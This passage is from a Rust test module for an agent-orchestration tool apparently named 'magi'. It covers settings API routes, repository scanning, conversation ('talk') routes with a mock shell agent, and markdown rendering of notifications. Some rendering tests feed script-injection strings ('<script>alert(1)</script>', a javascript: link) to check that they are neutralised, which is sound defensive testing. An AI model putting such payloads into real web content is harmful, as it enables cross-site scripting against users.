14374            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14375        }
14376        let error = f
14377            .get(&format!("/api/settings?repo={}", broken.display()))
14378            .await;
14379        assert_eq!(error.status, 200);
14380        assert!(error.json()["error"]["message"].is_string());
14381        assert_eq!(error.json()["repositories"], default["repositories"]);
14382    }
14383
14384    #[tokio::test]
14385    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14386        let (_tmp, repo, machine) =
14387            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14388        let f = Fixture::with_repo_and_machine(repo, machine).await;
14389        let res = f.get("/api/settings").await;
14390        assert_eq!(res.status, 200, "{}", res.body);
14391        let v = res.json();
14392        assert!(v["error"].is_null(), "{v}");
14393        let role = |k: &str| {
14394            v["roles"]
14395                .as_array()
14396                .and_then(|r| r.iter().find(|x| x["key"] == k))
14397                .cloned()
14398                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14399        };
14400        assert_eq!(role("judges")["source"], "machine");
14401        assert_eq!(role("judges")["editable"], true);
14402        assert_eq!(role("implementers")["source"], "default");
14403        let adv = role("advisors");
14404        assert_eq!(adv["fallback"], "judges");
14405        assert!(
14406            adv["seats"]
14407                .as_array()
14408                .is_some_and(|s| s.iter().all(|x| x == "b")),
14409            "{adv}"
14410        );
14411        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14412        assert_eq!(v["agents"][0]["source"], "repo");
14413    }
14414
14415    #[tokio::test]
14416    async fn settings_get_reports_a_config_that_does_not_parse() {
14417        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14418        let f = Fixture::with_repo_and_machine(repo, machine).await;
14419        let res = f.get("/api/settings").await;
14420        assert_eq!(res.status, 200, "{}", res.body);
14421        let v = res.json();
14422        assert!(v["error"]["message"].is_string(), "{v}");
14423        assert!(
14424            v["error"]["path"]
14425                .as_str()
14426                .is_some_and(|p| p.ends_with("magi.toml")),
14427            "{v}"
14428        );
14429        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
14430    }
14431
14432    #[tokio::test]
14433    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
14434        let (_tmp, repo, machine) = settings_dirs(
14435            SETTINGS_AGENTS,
14436            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
14437        );
14438        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
14439        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14440        let rev = f.get("/api/settings").await.json()["revision"]
14441            .as_str()
14442            .expect("revision")
14443            .to_owned();
14444        let body = serde_json::json!({
14445            "revision": rev,
14446            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
14447        })
14448        .to_string();
14449        let res = f.put("/api/settings/roles", &body).await;
14450        assert_eq!(res.status, 200, "{}", res.body);
14451        let text = std::fs::read_to_string(&machine).expect("machine");
14452        assert_eq!(
14453            text,
14454            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
14455        );
14456        assert_eq!(
14457            std::fs::read(repo.join("magi.toml")).expect("read"),
14458            repo_before
14459        );
14460        let again = f.get("/api/settings").await.json();
14461        let judges = again["roles"]
14462            .as_array()
14463            .expect("roles")
14464            .iter()
14465            .find(|r| r["key"] == "judges")
14466            .expect("judges")
14467            .clone();
14468        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
14469        // The old revision is now stale.
14470        let stale = f.put("/api/settings/roles", &body).await;
14471        assert_eq!(stale.status, 409, "{}", stale.body);
14472    }
14473
14474    #[tokio::test]
14475    async fn settings_counts_are_reported_and_saved() {
14476        let (_tmp, repo, machine) = settings_dirs(
14477            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
14478            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
14479        );
14480        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14481        let v = f.get("/api/settings").await.json();
14482        let count = |v: &serde_json::Value, k: &str| {
14483            v["roles"]
14484                .as_array()
14485                .and_then(|r| r.iter().find(|x| x["key"] == k))
14486                .map(|x| x["count"].clone())
14487                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14488        };
14489        let imp = count(&v, "implementers");
14490        assert_eq!(imp["value"], 2);
14491        assert_eq!(imp["source"], "machine");
14492        assert_eq!(imp["file_key"], "candidates");
14493        assert_eq!(imp["roster_len"], 2);
14494        assert_eq!(imp["backups"], 0);
14495        assert_eq!(count(&v, "judges")["source"], "default");
14496        assert_eq!(count(&v, "advisors")["min"], 0);
14497        assert_eq!(count(&v, "reviewers")["editable"], false);
14498        assert!(
14499            count(&v, "reviewers")["locked_reason"]
14500                .as_str()
14501                .is_some_and(|m| m.contains("graph.reviewers"))
14502        );
14503        assert!(count(&v, "fixer").is_null());
14504        let rev = v["revision"].as_str().expect("revision").to_owned();
14505        let body = serde_json::json!({
14506            "revision": rev,
14507            "roles": { "judges": ["b"] },
14508            "counts": { "implementers": 1, "advisors": 0 }
14509        })
14510        .to_string();
14511        let res = f.put("/api/settings/roles", &body).await;
14512        assert_eq!(res.status, 200, "{}", res.body);
14513        let text = std::fs::read_to_string(&machine).expect("machine");
14514        assert_eq!(
14515            text,
14516            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14517        );
14518        let after = f.get("/api/settings").await.json();
14519        assert_eq!(count(&after, "implementers")["value"], 1);
14520        assert_eq!(count(&after, "implementers")["backups"], 1);
14521        assert_eq!(count(&after, "advisors")["value"], 0);
14522        let before = std::fs::read_to_string(&machine).expect("machine");
14523        let rev = after["revision"].as_str().expect("revision").to_owned();
14524        for counts in [
14525            serde_json::json!({ "judges": 0 }),
14526            serde_json::json!({ "judges": "x" }),
14527            serde_json::json!({ "judges": 2.5 }),
14528            serde_json::json!({ "judges": -1 }),
14529            serde_json::json!({ "reviewers": 3 }),
14530            serde_json::json!({ "bogus": 3 }),
14531        ] {
14532            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14533            let res = f.put("/api/settings/roles", &body).await;
14534            assert_eq!(res.status, 422, "{counts}: {}", res.body);
14535            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14536        }
14537    }
14538
14539    #[tokio::test]
14540    async fn settings_put_refuses_without_touching_the_file() {
14541        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14542        let (_tmp, repo, machine) = settings_dirs(
14543            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14544            Some(machine_text),
14545        );
14546        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14547        let rev = f.get("/api/settings").await.json()["revision"]
14548            .as_str()
14549            .expect("revision")
14550            .to_owned();
14551        for roles in [
14552            serde_json::json!({ "judges": ["nope"] }),
14553            serde_json::json!({ "reviewers": ["b"] }),
14554            serde_json::json!({ "bogus": ["a"] }),
14555        ] {
14556            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14557            let res = f.put("/api/settings/roles", &body).await;
14558            assert_eq!(res.status, 422, "{roles}: {}", res.body);
14559            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14560            assert_eq!(
14561                std::fs::read_to_string(&machine).expect("machine"),
14562                machine_text
14563            );
14564        }
14565    }
14566
14567    #[tokio::test]
14568    async fn repos_list_returns_name_and_path_for_every_configured_root() {
14569        let tmp = TempDir::new().expect("tempdir");
14570        let repo = tmp.path().join("repo");
14571        std::fs::create_dir_all(&repo).expect("repo dir");
14572        let root = tmp.path().join("root");
14573        make_checkout(&root, "github.com", "yukimemi", "magi");
14574        std::fs::write(
14575            repo.join("magi.toml"),
14576            format!(
14577                "[repos]\nroots = [{:?}]\n",
14578                root.to_string_lossy().into_owned()
14579            ),
14580        )
14581        .expect("write magi.toml");
14582
14583        let f = Fixture::with_repo(repo).await;
14584        let res = f.get("/api/repos").await;
14585        assert_eq!(res.status, 200, "{}", res.body);
14586        let list = res.json();
14587        let repos = list.as_array().expect("an array");
14588        assert_eq!(repos.len(), 1);
14589        assert_eq!(repos[0]["name"], "yukimemi/magi");
14590        assert!(
14591            repos[0]["path"]
14592                .as_str()
14593                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14594            "{list}"
14595        );
14596    }
14597
14598    #[tokio::test]
14599    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14600        let tmp = TempDir::new().expect("tempdir");
14601        let repo = tmp.path().join("repo");
14602        std::fs::create_dir_all(&repo).expect("repo dir");
14603        let root = tmp.path().join("root");
14604        make_checkout(&root, "github.com", "yukimemi", "magi");
14605        std::fs::write(
14606            repo.join("magi.toml"),
14607            format!(
14608                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14609                root.to_string_lossy().into_owned()
14610            ),
14611        )
14612        .expect("write magi.toml");
14613
14614        let f = Fixture::with_repo(repo).await;
14615        let first = f.get("/api/repos").await;
14616        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14617
14618        // A second checkout appears; within the TTL the cached answer must
14619        // not notice it.
14620        make_checkout(&root, "github.com", "yukimemi", "rvpm");
14621        let second = f.get("/api/repos").await;
14622        assert_eq!(
14623            second.json().as_array().map(Vec::len),
14624            Some(1),
14625            "a fresh cache must not rescan inside the TTL"
14626        );
14627
14628        let refreshed = f.get("/api/repos?refresh=1").await;
14629        assert_eq!(
14630            refreshed.json().as_array().map(Vec::len),
14631            Some(2),
14632            "an explicit refresh must rescan even inside the TTL"
14633        );
14634    }
14635
14636    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
14637    /// string, declared straight in a repository's own `magi.toml` rather
14638    /// than the operator's real roster. No real agent CLI is spawned - `sh`
14639    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
14640    /// this is safe to run over a real HTTP round trip.
14641    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14642
14643    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
14644    /// real `Config::discover` to find an agent - `talk::begin` resolves one
14645    /// even though it takes no turn, and `talk_say` invokes one.
14646    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14647        let tmp = TempDir::new().expect("tempdir");
14648        let repo = tmp.path().join("repo");
14649        std::fs::create_dir_all(&repo).expect("repo dir");
14650        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14651        let f = Fixture::with_repo(repo.clone()).await;
14652        (tmp, repo, f)
14653    }
14654
14655    #[tokio::test]
14656    async fn posting_a_talk_with_remembered_choices_is_soft() {
14657        let (_tmp, _repo, f) = talk_fixture().await;
14658
14659        let good = f
14660            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14661            .await;
14662        assert_eq!(good.status, 201, "{}", good.body);
14663        assert_eq!(good.json()["persona"], "rei");
14664
14665        // Wrong values and wrong types are dropped one by one, never a 4xx.
14666        let stale = f
14667            .post(
14668                "/api/talks",
14669                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14670            )
14671            .await;
14672        assert_eq!(stale.status, 201, "{}", stale.body);
14673        let v = stale.json();
14674        assert_eq!(v["implementers"], 1);
14675        assert_ne!(v["persona"], "nobody");
14676        let typed = f
14677            .post(
14678                "/api/talks",
14679                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14680            )
14681            .await;
14682        assert_eq!(typed.status, 201, "{}", typed.body);
14683
14684        // The strict `agent` field still refuses an unknown id.
14685        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14686        assert!(
14687            !strict.status.to_string().starts_with('2'),
14688            "{}",
14689            strict.body
14690        );
14691    }
14692
14693    #[tokio::test]
14694    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14695        let (_tmp, _repo, f) = talk_fixture().await;
14696
14697        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14698        // is the ordinary way a phone opens a talk.
14699        let opened = f.post("/api/talks", None).await;
14700        assert_eq!(opened.status, 201, "{}", opened.body);
14701        let body = opened.json();
14702        assert_eq!(body["status"], "open");
14703        assert_eq!(
14704            body["turns"].as_array().unwrap().len(),
14705            0,
14706            "opening takes no agent turn: there is nothing yet to answer"
14707        );
14708
14709        // An explicit empty object is the same request as none at all.
14710        let also_opened = f.post("/api/talks", Some("{}")).await;
14711        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14712
14713        let listed = f.get("/api/talks").await.json();
14714        assert_eq!(listed.as_array().unwrap().len(), 2);
14715    }
14716
14717    #[tokio::test]
14718    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14719        let tmp = TempDir::new().expect("tempdir");
14720        let repo = tmp.path().join("repo");
14721        std::fs::create_dir_all(&repo).expect("repo dir");
14722        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14723        std::fs::write(
14724            repo.join("magi.toml"),
14725            format!("{MOCK_AGENT_TOML}\n{second}"),
14726        )
14727        .expect("write magi.toml");
14728        let home = TempDir::new().expect("temp home");
14729        let talks = Talks::at(home.path().join("talks"));
14730        let ui = Arc::new(
14731            Ui::new(
14732                Queue::at(home.path().join("queue")),
14733                Questions::at(home.path().join("questions")),
14734                talks.clone(),
14735                home.path().join("runs"),
14736                home.path().to_path_buf(),
14737                repo.clone(),
14738            )
14739            .with_worktrees_root(home.path().join("wt")),
14740        );
14741        let cfg = config_for(&repo).await.expect("discover config");
14742        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14743        let id = talk.id.clone();
14744        let call = |agent: &str| {
14745            talk_agent(
14746                State(Arc::clone(&ui)),
14747                Path(id.clone()),
14748                Json(TalkAgent {
14749                    agent: agent.to_owned(),
14750                }),
14751            )
14752        };
14753
14754        let unknown = call("nobody").await.expect_err("unknown agent");
14755        assert_eq!(
14756            unknown.status,
14757            StatusCode::BAD_REQUEST,
14758            "{}",
14759            unknown.message
14760        );
14761
14762        {
14763            // Nothing refused so far took a claim, so the guard is free to take
14764            // and holding it is what makes the talk busy.
14765            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14766            let busy = call("second").await.expect_err("busy talk");
14767            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14768            assert!(
14769                busy.message.contains("a talk turn is running"),
14770                "{}",
14771                busy.message
14772            );
14773            drop(guard);
14774        }
14775        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14776
14777        let Json(view) = call("second").await.expect("switch");
14778        assert_eq!(view.talk.agent, "second");
14779        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14780        let saved = talks.get(&id).expect("reload");
14781        assert_eq!(saved.agent, "second");
14782        assert_eq!(saved.turns.len(), 1);
14783        assert!(!view.thinking);
14784        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14785        for agent in ["mock", "second"] {
14786            let Json(view) = call(agent).await.expect("immediate consecutive change");
14787            assert_eq!(view.talk.agent, agent);
14788            assert!(!view.thinking);
14789            assert!(!ui.is_thinking(&id));
14790        }
14791
14792        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14793            .await
14794            .expect("detail");
14795        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14796        assert_eq!(roster, ["mock", "second"]);
14797
14798        let mut closed = talks.get(&id).expect("reload");
14799        talk::close(&mut closed, &talks).expect("close");
14800        let refused = call("mock").await.expect_err("closed talk");
14801        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14802        assert!(
14803            refused.message.contains("takes no more turns"),
14804            "{}",
14805            refused.message
14806        );
14807    }
14808
14809    #[tokio::test]
14810    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14811        let tmp = TempDir::new().expect("tempdir");
14812        let repo = tmp.path().join("repo");
14813        std::fs::create_dir_all(&repo).expect("repo dir");
14814        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14815        let home = TempDir::new().expect("temp home");
14816        let talks = Talks::at(home.path().join("talks"));
14817        let ui = Arc::new(
14818            Ui::new(
14819                Queue::at(home.path().join("queue")),
14820                Questions::at(home.path().join("questions")),
14821                talks.clone(),
14822                home.path().join("runs"),
14823                home.path().to_path_buf(),
14824                repo.clone(),
14825            )
14826            .with_worktrees_root(home.path().join("wt")),
14827        );
14828        let cfg = config_for(&repo).await.expect("discover config");
14829        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14830        let id = talk.id.clone();
14831        let call = |n: u8| {
14832            talk_implementers(
14833                State(Arc::clone(&ui)),
14834                Path(id.clone()),
14835                Json(TalkImplementers { implementers: n }),
14836            )
14837        };
14838
14839        for bad in [0u8, 4] {
14840            let e = call(bad).await.expect_err("out of range");
14841            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14842        }
14843        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14844
14845        {
14846            // Nothing refused so far took a claim, so the guard is free to take
14847            // and holding it is what makes the talk busy.
14848            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14849            let busy = call(2).await.expect_err("busy talk");
14850            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14851            assert!(
14852                busy.message.contains("a talk turn is running"),
14853                "{}",
14854                busy.message
14855            );
14856            drop(guard);
14857        }
14858
14859        let Json(view) = call(3).await.expect("switch");
14860        assert_eq!(view.talk.implementers, 3);
14861        assert!(talks.get(&id).expect("reload").implementers_dirty);
14862        assert!(!view.thinking);
14863        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14864        for n in [1, 2, 3] {
14865            let Json(view) = call(n).await.expect("immediate consecutive change");
14866            assert_eq!(view.talk.implementers, n);
14867            assert!(!view.thinking);
14868            assert!(!ui.is_thinking(&id));
14869        }
14870
14871        let mut closed = talks.get(&id).expect("reload");
14872        talk::close(&mut closed, &talks).expect("close");
14873        let e = call(2).await.expect_err("closed talk");
14874        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14875        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14876    }
14877
14878    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14879    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14880        let tmp = TempDir::new().expect("tempdir");
14881        let repo = tmp.path().join("repo");
14882        std::fs::create_dir_all(&repo).expect("repo dir");
14883        std::fs::write(
14884            repo.join("magi.toml"),
14885            format!("{MOCK_AGENT_TOML}\n{extra}"),
14886        )
14887        .expect("write magi.toml");
14888        let home = TempDir::new().expect("temp home");
14889        let talks = Talks::at(home.path().join("talks"));
14890        let ui = Arc::new(
14891            Ui::new(
14892                Queue::at(home.path().join("queue")),
14893                Questions::at(home.path().join("questions")),
14894                talks.clone(),
14895                home.path().join("runs"),
14896                home.path().to_path_buf(),
14897                repo.clone(),
14898            )
14899            .with_worktrees_root(home.path().join("wt")),
14900        );
14901        let cfg = config_for(&repo).await.expect("discover config");
14902        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14903        (tmp, home, ui, talk.id, repo)
14904    }
14905
14906    #[tokio::test]
14907    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14908        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14909        let mut conversation = ui.talks.get(&id).unwrap();
14910        talk::record(
14911            &mut conversation,
14912            &ui.talks,
14913            "# Update on a task you filed\noperator words",
14914            vec![],
14915        )
14916        .unwrap();
14917        // Simulate an old operator record; headings do not prove authorship.
14918        conversation.turns[0].sender = None;
14919        conversation.turns[0].messages.clear();
14920        ui.talks.put(&mut conversation).unwrap();
14921        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14922        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14923        talk::drain(&mut conversation, &ui.talks).unwrap();
14924        talk::record_reply(
14925            &mut conversation,
14926            &ui.talks,
14927            "about that report",
14928            vec![],
14929            Some(talk::ReplyTarget {
14930                turn: 1,
14931                message: 1,
14932            }),
14933        )
14934        .unwrap();
14935        conversation.turns[2].messages[0]
14936            .reply
14937            .as_mut()
14938            .unwrap()
14939            .sender = None;
14940        conversation.turns.push(talk::Turn {
14941            sender: Some(talk::Sender::Persona),
14942            who: talk::Who::Agent,
14943            body: "magi: actual persona words".into(),
14944            at: Timestamp::now(),
14945            attachments: vec![],
14946            usage: None,
14947            breaks: None,
14948            messages: vec![],
14949            posted_by: None,
14950        });
14951        ui.talks.put(&mut conversation).unwrap();
14952        let view = TalkView::with_config(
14953            ui.talks.get(&id).unwrap(),
14954            false,
14955            None,
14956            &ui.home,
14957            &ui.references,
14958        );
14959        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14960        assert_eq!(
14961            view.talk.turns[1].messages[0].sender,
14962            Some(talk::Sender::Operator)
14963        );
14964        assert_eq!(
14965            view.talk.turns[1].messages[1].sender,
14966            Some(talk::Sender::Magi)
14967        );
14968        assert_eq!(
14969            view.talk.turns[2].messages[0]
14970                .reply
14971                .as_ref()
14972                .unwrap()
14973                .sender,
14974            Some(talk::Sender::Magi)
14975        );
14976        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14977        assert_eq!(view.turn_messages_md[0].len(), 1);
14978        assert!(view.turn_messages_md[0][0].is_none());
14979        assert!(view.turn_messages_md[1][0].is_none());
14980        assert!(view.turn_messages_md[1][1].is_some());
14981    }
14982
14983    #[tokio::test]
14984    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14985        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14986        let mut conversation = ui.talks.get(&id).unwrap();
14987        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14988        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14989        talk::queue_notice(
14990            &mut conversation,
14991            &ui.talks,
14992            &body,
14993            "watch:123",
14994            &|_| false,
14995            crate::chat_control::standing::Event::Watch {
14996                id: "watch-123".into(),
14997            },
14998            display.clone(),
14999        )
15000        .unwrap();
15001        assert!(
15002            !talk::queue_notice(
15003                &mut conversation,
15004                &ui.talks,
15005                &body,
15006                "watch:123",
15007                &|_| false,
15008                crate::chat_control::standing::Event::Watch {
15009                    id: "watch-123".into()
15010                },
15011                display.clone()
15012            )
15013            .unwrap()
15014        );
15015        let saved = ui.talks.get(&id).unwrap();
15016        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15017        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15018        assert!(
15019            view.talk.turns[0].messages[0].display.is_none(),
15020            "operator copy stays literal"
15021        );
15022        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15023        assert!(view.turn_messages_md[0][0].is_none());
15024        let queued_md = view.pending_messages_md[0].clone();
15025        assert_eq!(
15026            queued_md,
15027            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15028        );
15029        talk::drain(&mut conversation, &ui.talks).unwrap();
15030        talk::record_reply(
15031            &mut conversation,
15032            &ui.talks,
15033            "Explain",
15034            vec![],
15035            Some(talk::ReplyTarget {
15036                turn: 1,
15037                message: 0,
15038            }),
15039        )
15040        .unwrap();
15041        let mut saved = ui.talks.get(&id).unwrap();
15042        assert_eq!(saved.turns[1].messages[0].body, body);
15043        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15044        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15045        assert!(!reply.excerpt.contains("automatic report"));
15046        reply.excerpt = body.chars().take(240).collect(); // old saved quote
15047        saved.turns[1].messages[0].display = None; // old MAGI send
15048        ui.talks.put(&mut saved).unwrap();
15049        let view = TalkView::with_config(
15050            ui.talks.get(&id).unwrap(),
15051            false,
15052            None,
15053            &ui.home,
15054            &ui.references,
15055        );
15056        assert_eq!(view.turn_messages_md[1][0], queued_md);
15057        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15058        assert!(
15059            !view.talk.turns[2].messages[0]
15060                .reply
15061                .as_ref()
15062                .unwrap()
15063                .excerpt
15064                .contains("automatic report")
15065        );
15066        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15067    }
15068
15069    #[tokio::test]
15070    async fn consultation_display_hides_directives_in_queue_and_history() {
15071        for node in [
15072            "implement",
15073            crate::land::APPROVAL_NODE,
15074            crate::github_text::ASK_NODE,
15075        ] {
15076            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15077            let mut question = Question::new(
15078                "run-123".into(),
15079                node.into(),
15080                "seat-1".into(),
15081                "Which backend?".into(),
15082                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15083                vec!["SQLite".into(), "Redis".into()],
15084            );
15085            ui.questions.put(&mut question).unwrap();
15086            let body = crate::prompt::chat_consult(&question);
15087            let mut conversation = ui.talks.get(&id).unwrap();
15088            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15089            assert!(
15090                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15091            );
15092            conversation = ui.talks.get(&id).unwrap();
15093            assert_eq!(conversation.pending_messages[0].body, body);
15094            assert!(body.contains("magi answer"));
15095            let mut legacy_pending = conversation.clone();
15096            legacy_pending.pending_messages[0].display = None;
15097            let legacy_view =
15098                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15099            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15100            assert!(legacy_md.contains("Question consultation"));
15101            assert!(!legacy_md.contains("magi answer"));
15102            let view =
15103                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15104            assert!(
15105                view.turn_messages_md[0][0].is_none(),
15106                "operator copy stays literal"
15107            );
15108            let queued_md = view.pending_messages_md[0].clone().unwrap();
15109            let rendered = serde_json::to_string(&queued_md).unwrap();
15110            for visible in [
15111                "Which backend?",
15112                "Context",
15113                "storage",
15114                "SQLite",
15115                "Redis",
15116                "<script>literal</script>",
15117            ] {
15118                assert!(rendered.contains(visible), "missing {visible}");
15119            }
15120            for directive in [
15121                "What to do",
15122                "magi answer",
15123                "Never answer it yourself",
15124                "Do not edit the repository",
15125            ] {
15126                assert!(!rendered.contains(directive), "exposed {directive}");
15127            }
15128            assert_eq!(
15129                view.talk.pending_messages[0].display,
15130                Some(crate::prompt::chat_consult_display(&question))
15131            );
15132            talk::drain(&mut conversation, &ui.talks).unwrap();
15133            let view =
15134                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15135            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15136            assert_eq!(conversation.turns[1].messages[0].body, body);
15137
15138            // Historical consultations lack a snapshot: show a safe placeholder
15139            // rather than parsing instructions or reconstructing mutable facts.
15140            conversation.turns[1].messages[0].display = None;
15141            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15142            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15143            assert!(legacy.contains("Question consultation"));
15144            assert!(!legacy.contains("magi answer"));
15145            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15146        }
15147    }
15148
15149    #[test]
15150    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15151        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15152        let (body, mut display) =
15153            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15154        display.facts = facts.into();
15155        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15156        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15157        let json = serde_json::to_string(&nodes).unwrap();
15158        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15159            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15160        }
15161        assert!(json.contains("<script>alert(1)</script>"));
15162        assert!(!json.contains("javascript:"));
15163        assert!(!json.contains("Tell the operator"));
15164        assert!(!json.contains("untrusted"));
15165        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15166        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15167        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15168        assert_eq!(
15169            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15170            md::to_nodes("# Status", &md::ImageBase::None),
15171        );
15172    }
15173
15174    #[tokio::test]
15175    async fn notification_display_recovers_exact_legacy_completion_references() {
15176        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15177        let mut conversation = ui.talks.get(&id).unwrap();
15178        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15179            id: "task-123",
15180            title: "Change",
15181            status: "done",
15182            reason: None,
15183            run: Some("run-123"),
15184            pr: None,
15185            summary: Some("Merge state unknown"),
15186        });
15187        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15188        conversation.turns[0].sender = None;
15189        conversation.turns[0].messages.clear();
15190        conversation.turns[0].breaks = None;
15191        conversation.pending = body.clone();
15192        conversation
15193            .completion_notices
15194            .push(crate::chat_notify::CompletionReference {
15195                task: "task-123".into(),
15196                run: Some("run-123".into()),
15197                notice: body.clone(),
15198            });
15199        ui.talks.put(&mut conversation).unwrap();
15200        let view = TalkView::with_config(
15201            ui.talks.get(&id).unwrap(),
15202            false,
15203            None,
15204            &ui.home,
15205            &ui.references,
15206        );
15207        assert_eq!(
15208            view.talk.turns[0].messages[0].display,
15209            Some(display.clone())
15210        );
